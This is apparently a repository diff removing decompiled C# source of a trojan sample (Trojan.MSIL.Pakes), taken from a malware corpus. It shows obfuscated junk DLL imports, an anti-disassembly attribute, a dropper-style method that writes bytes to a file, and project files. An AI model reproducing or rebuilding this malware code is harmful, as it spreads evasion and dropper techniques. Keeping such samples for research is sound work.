private static extern bool ayVgyiKs9iz(StringComparer azcz0nbuXpH, Decimal aet4MMg2nYH);
[DllImport("aEXqsxiyuug.dll")]
private static extern byte[] a3fXHqDtqM1(long ak4Xadl37iZ, byte[] a32DlNtjqGe);
[DllImport("aQmp2paNFNn.dll")]
private static extern bool aMvEiWa5Nfp(long atyc3eLNqXM, Decimal ar2TAzeoyxz);
[DllImport("axirYaav4vf.dll")]
private static extern double[] a4zctUjiuMN(bool a2FzAG222Ho, char aNX8kn2IWun);
[DllImport("aSVaOoUBBq0.dll")]
private static extern IntPtr[] aYJjWdAIYeT(StringComparer alrYSuh3hPb, bool[] ajj1oeYctyG);
[DllImport("apxztL_slq7.dll")]
private static extern int a4eRurOQI4C(double[] aoNm0SrOwp8, double[] a5pXdInmL8O);
[DllImport("aWGvgne986I.dll")]
private static extern Decimal a4ZdUJLhiC0(byte ayYoxb1wwod, byte[] a3KpeVdwPrg);
[DllImport("aWfqQOK1JaA.dll")]
private static extern Decimal aPHP1yrJo74(double[] a0y1UvF7eus, bool aOHli4_aac8);
[DllImport("aDSzwAsKpcW.dll")]
private static extern long axwf5AexgXi(IntPtr[] awFi4P8a18B, StringComparer aWnYOTVWj4C);
[DllImport("aCMfFtdxB_6.dll")]
private static extern Attribute a_iPJ5KFZ9Y(Decimal[] axVA_mwOOBR, IntPtr aXjM4kTV_ri);
[DllImport("a27Dj72PyMO.dll")]
private static extern bool ahkYWrhBlhl(double aoDnl2wQo8p, Decimal[] avR_9ARa9R9);
[DllImport("a6zT0zEfh9I.dll")]
private static extern byte[] a_ZN02GqOJJ(Array aVN6eDtHxoj, byte[] aadl4zOAd49);
[DllImport("aDGUCe9LMaQ.dll")]
private static extern byte[] alcOKrk1pAH(double[] aOqOSK9xE9T, byte aDpaQkPy7Y9);
[DllImport("a_e32CdjjZr.dll")]
private static extern int[] axduYfElXTL(Decimal[] azUXnIF0krG, double aWL9HX6Vtsh);
[DllImport("aQEk8r5tiNf.dll")]
private static extern string ajnXvibJFkE(string aJaVmIOLv9Q, StringComparer ad3rRWRZ5ah);
[DllImport("aWpszgzDPyW.dll")]
private static extern bool aNQBusHbImW(IntPtr aSXs1lH7d5v, string[] aChwSylgyN3);
[DllImport("a9DmEkvhMcn.dll")]
private static extern byte aNdPEonq8D4(StringComparer aPUJIySPtzz, Attribute avDiVmqzLnP);
[DllImport("a8I7rRp85fo.dll")]
private static extern Decimal a0Wr4VCkGhk(int aWa17xv9qG5, IntPtr[] a9S9XRDEDpy);
[DllImport("asEvat3Fjwr.dll")]
private static extern double al3yBfUMD6f(IntPtr[] akTRE5ekHdF, long a0jLTBhRvXF);
[DllImport("a2vKL47juFq.dll")]
private static extern IntPtr a2Ks2KF9S0b(char aUa4_tZXPpA, IntPtr[] a2QiBXqyqPP);
[DllImport("aF4iAIDyFTC.dll")]
private static extern byte ahq1UMr3Ovt(char aGnMCC538Y0, byte[] al3kVjOuG7H);
[DllImport("aMXDmkj58fE.dll")]
private static extern Decimal aYVjZCV2aCU(IntPtr aCWL8hrNcWZ, long adMHdcRG8ql);
[DllImport("aIDNiweYVhR.dll")]
private static extern Decimal apP9sLzw2p2(string aTbPWtOQnIB, IntPtr[] a8g_51fqlPd);
[DllImport("ah6rhKwGaFy.dll")]
private static extern char aQYoQOA98c1(bool amFSXcBEM12, string[] aMhWUsnIBg5);
[DllImport("aKHOZKYzFec.dll")]
private static extern IntPtr avlUQH7J2ZN(IntPtr a0iK49enAWP, Attribute aeZ9rqGkpsM);
[DllImport("aItR75yIW15.dll")]
private static extern IntPtr[] auEJQeNUkhE(char[] aJXhNED6wSP, Attribute aQRrg7r72oA);
[DllImport("aHi7jzF91C3.dll")]
private static extern bool avDmZLuG6UM(int[] a7RwfbN2Exb, int[] axwDlOp97s_);
[DllImport("aKKt1HYg7l6.dll")]
private static extern Attribute aCxsTgyja9l(
StringComparer aPelnimPY7A,
Attribute aThV8bZzFUe);
[DllImport("aEKPKWMzrZV.dll")]
private static extern Decimal aIooePkn_nN(bool[] ari_6ZkZI2c, byte[] aUucZKJShEg);
[DllImport("aNQ8iF5ME5N.dll")]
private static extern long agRGE1Uuwcs(char[] a2XFwK_ALgo, long[] aChK3Myb5y7);
[DllImport("aIJkGLk1aYg.dll")]
private static extern long ae4PfTSg92f(Array a03LnC8LqHQ, long a8xtcn0PZOX);
[DllImport("a5hZvoHxYo7.dll")]
private static extern IntPtr aX9Jn7zU3ET(Array aK77gpofgmo, bool aMyG0eDznYU);
[DllImport("aT2fvn8WJe1.dll")]
private static extern long ahcOVm5Usk5(StringComparer aytpSX7k5Pt, bool[] ardyX2CsVOv);
[DllImport("alAAXygFKNd.dll")]
private static extern IntPtr aD8VodBfYmo(string[] aqjkvJJeCqU, long[] aaNYA1HZGgV);
[DllImport("a3VEhzSH88k.dll")]
private static extern double agqPzEXO7Gr(Decimal aLhB9FF7PVC, char[] aUoY_ibynBe);
[DllImport("agf6B7jn5aL.dll")]
private static extern Array aZKrdEx8ewm(IntPtr[] anxYQMFDs2j, string[] apRw2dKvOGS);
[DllImport("arxBWWGJeic.dll")]
private static extern byte aGX_SkUEVl0(char azEOSaSojJT, byte a5xqL9b97oX);
[DllImport("a5YYXdj5s5V.dll")]
private static extern int[] aSfqc4_Ry41(bool ak3MUSAItNv, char aun7e29xgyV);
[DllImport("aLQzu0byIY2.dll")]
private static extern IntPtr a3hfF5JJcG_(bool[] a0XiDn19YCJ, byte a5ARUmSdEIl);
[DllImport("aTGfpXQ7lH4.dll")]
private static extern Decimal[] a7ZQA0b0gPq(long aPicGpmktos, string[] aKYu4RGWwfu);
[DllImport("aVz91e6Qfdg.dll")]
private static extern bool[] akbtyMyjOwA(byte ajGe5Ty5cBI, byte[] awBMvBuR117);
[DllImport("a8zmowNGPaT.dll")]
private static extern Decimal aUqexMiExl1(Decimal[] aETvlkEzata, bool[] aMzcFBEkkBF);
[DllImport("aeDYVVe99wI.dll")]
private static extern StringComparer auI16BZIsjq(
double[] awBdX9sc0rw,
int aMm21UYmxsr);
[DllImport("aGaLVTLqZXy.dll")]
private static extern StringComparer aDFAZPerBGw(
Decimal[] aIeLEr6feV6,
char avnDY8YTcjz);
[DllImport("a7UdVli8RvO.dll")]
private static extern StringComparer aeaGHteGtUL(
int[] aDBkdittPlz,
byte aaAUYJVMhAQ);
[DllImport("ablxg8_4R_j.dll")]
private static extern byte aSF5QYyq3nN(IntPtr agk0rpPv3jk, double a3gT88phayR);
[DllImport("aewA8DysJNv.dll")]
private static extern Decimal aForrh4Kcu8(string aREXK6Ii2Gg, bool[] aBdhmuIRsdR);
[DllImport("a58jyW5ZhOM.dll")]
private static extern bool[] aYwOif5pGO6(bool[] a76v1N_Np35, byte aOPYTSTFmDu);
[DllImport("amLlsLl4FzI.dll")]
private static extern Attribute aIdqxXSi3Em(bool atZR0FZxHwp, int[] aDIftJuO5IP);
[DllImport("aniwvTp14YU.dll")]
private static extern double aKRGPLLJalG(IntPtr[] aTfATiJ5qcI, char[] anKDEFoARCU);
[DllImport("aFp5tAU8n3X.dll")]
private static extern IntPtr a52GMVqes0Y(Decimal aFMy77jyIS_, char[] a02rJQIa8FE);
[DllImport("aNGRM8G1oIk.dll")]
private static extern byte awEUy0FPLzc(double anw3VCuSUww, char aZ_aDi0Dgnr);
[DllImport("aOu8QOAQ4Dh.dll")]
private static extern int[] auGjE7s4XOw(string[] aCpZJ5bYAyt, bool au_55vdIaDQ);
[DllImport("aBOFd5asNZT.dll")]
private static extern char aelvNK2Hrne(double ahpIQIw_Kfn, double[] a18DyTqfxVb);
[DllImport("aAutOOuJc3u.dll")]
private static extern Decimal anFlRHYFp9w(string[] aRDEmdDnH_t, IntPtr aBJrR396pvx);
[DllImport("akdRczFMYAa.dll")]
private static extern byte[] aclGEyp5r8g(string[] aoo1FQdDGgM, bool a7sQ0t39Pph);
[DllImport("a5EWbmwB_wu.dll")]
private static extern double[] auqrxTKdF46(bool a0JcEwuywyn, int awgKQhwa_Mf);
[DllImport("aZk1svHAdB6.dll")]
private static extern IntPtr ax9ECw70JC0(string aqe9_GtEsEr, long aZkmYkJEY_l);
[DllImport("aRMLjgHftsp.dll")]
private static extern int afLjNdIqUCS(Decimal[] addhavIJxgh, double aZOfkPQmgik);
[DllImport("a5rUAoKtoE0.dll")]
private static extern int aL0FYwtzKm2(bool aMe0ZS68SuU, IntPtr[] adkpXAf_SsB);
[DllImport("ahyqOSVOcuO.dll")]
private static extern bool[] aQqhRSQups2(char[] aPfNcvlTu1M, bool aoP89s0aQhq);
[DllImport("a9VVk5j0BZE.dll")]
private static extern string a6vUNXhmj20(bool a4X2JYFhu9C, Attribute a4SWwtEwTzo);
[DllImport("avKddEsWCCp.dll")]
private static extern long[] aql3emgVbOF(Decimal[] ahzR6vLs8hb, bool aOIrJTrENvg);
[DllImport("aDg3zP0Hgji.dll")]
private static extern byte aU4E4ZIMZPN(char[] aqzXc0XCZ6X, string[] ahFtAFBZIZ0);
[DllImport("ah6eGDVCUFy.dll")]
private static extern byte[] aWLgAPf05RI(Decimal awhHMMo5wqw, int a6CnKLn8qdl);
[DllImport("aHRN6_qrAZD.dll")]
private static extern IntPtr aEr5N0B8DDS(int aVvBTd3UD7R, int[] a5vB139i1Ek);
[DllImport("aQ_RLR3ZSqn.dll")]
private static extern Array aLAKEpvMsti(bool aVuoPwo49TC, double aNvIzBZ0Bq7);
[DllImport("atCdBynXFzJ.dll")]
private static extern long[] aaCrvP52AKe(bool aMPVc61Pusk, long aZKv7V6Cacs);
public static bool ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƂƒƲƥƴƆƱƈҿӂƙƉƲƥƜƍƩǎƓƑƩƳռȄơƅǤƳƐӸֆǤƕǎƥǍȜӂǎƕ(
string _FileName,
byte[] _ByteArray)
{
FileStream fileStream = new FileStream(_FileName, FileMode.Create, FileAccess.Write);
fileStream.Write(_ByteArray, 0, _ByteArray.Length);
fileStream.Close();
return true;
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/AssemblyInfo.cs
-5
View File
@@ -1,5 +0,0 @@
using System.Reflection;
using System.Runtime.CompilerServices;
[assembly: SuppressIldasm]
[assembly: AssemblyVersion("0.0.0.0")]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.csproj
-50
View File
@@ -1,50 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{0C2A381C-757B-4DDA-B03B-440B76ADAC0D}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>done</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="_0002.cs" />
<Compile Include="_0003.cs" />
<Compile Include="_0005.cs" />
<Compile Include="_0006.cs" />
<Compile Include="_0008.cs" />
<Compile Include="_000E.cs" />
<Compile Include="_000F.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="            " />
<EmbeddedResource Include="zCom.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "done", "Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4.csproj", "{0C2A381C-757B-4DDA-B03B-440B76ADAC0D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0C2A381C-757B-4DDA-B03B-440B76ADAC0D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0C2A381C-757B-4DDA-B03B-440B76ADAC0D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0C2A381C-757B-4DDA-B03B-440B76ADAC0D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0C2A381C-757B-4DDA-B03B-440B76ADAC0D}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0002.cs
-15
View File
@@ -1,15 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: done, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 90D4F632-034C-43BD-BD43-C22AB0B5643D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class \u0002 : ApplicationBase
{
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0003.cs
-21
View File
@@ -1,21 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: done, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 90D4F632-034C-43BD-BD43-C22AB0B5643D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class \u0003 : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public \u0003()
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0005.cs
-93
View File
@@ -1,93 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: done, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 90D4F632-034C-43BD-BD43-C22AB0B5643D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[HideModuleName]
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class \u0005
{
private static readonly \u0005.\u0003<\u0003> \u0002 = new \u0005.\u0003<\u0003>();
private static readonly \u0005.\u0003<\u0002> \u0003 = new \u0005.\u0003<\u0002>();
private static readonly \u0005.\u0003<User> \u0005 = new \u0005.\u0003<User>();
private static readonly \u0005.\u0003<\u0005.\u0002> \u0008 = new \u0005.\u0003<\u0005.\u0002>();
[DebuggerHidden]
internal static \u0003 \u0002() => \u0005.\u0002.\u0002();
[DebuggerHidden]
internal static \u0002 \u0002() => \u0005.\u0003.\u0002();
[DebuggerHidden]
internal static User \u0002() => \u0005.\u0005.\u0002();
[DebuggerHidden]
internal static \u0005.\u0002 \u0002() => \u0005.\u0008.\u0002();
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
internal sealed class \u0002
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public \u0002()
{
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
internal Type \u0002() => typeof (\u0005.\u0002);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T \u0002<T>(T _param0) where T : new() => (object) _param0 == null ? new T() : _param0;
[DebuggerHidden]
private void \u0003<T>(ref T _param1) => _param1 = default (T);
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class \u0003<\u0002> where \u0002 : new()
{
[ThreadStatic]
private static \u0002 \u0002;
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public \u0003()
{
}
[DebuggerHidden]
internal \u0002 \u0002()
{
if ((object) \u0005.\u0003<\u0002>.\u0002 == null)
\u0005.\u0003<\u0002>.\u0002 = new \u0002();
return \u0005.\u0003<\u0002>.\u0002;
}
}
}

Some files were not shown because too many files have changed in this diff Show More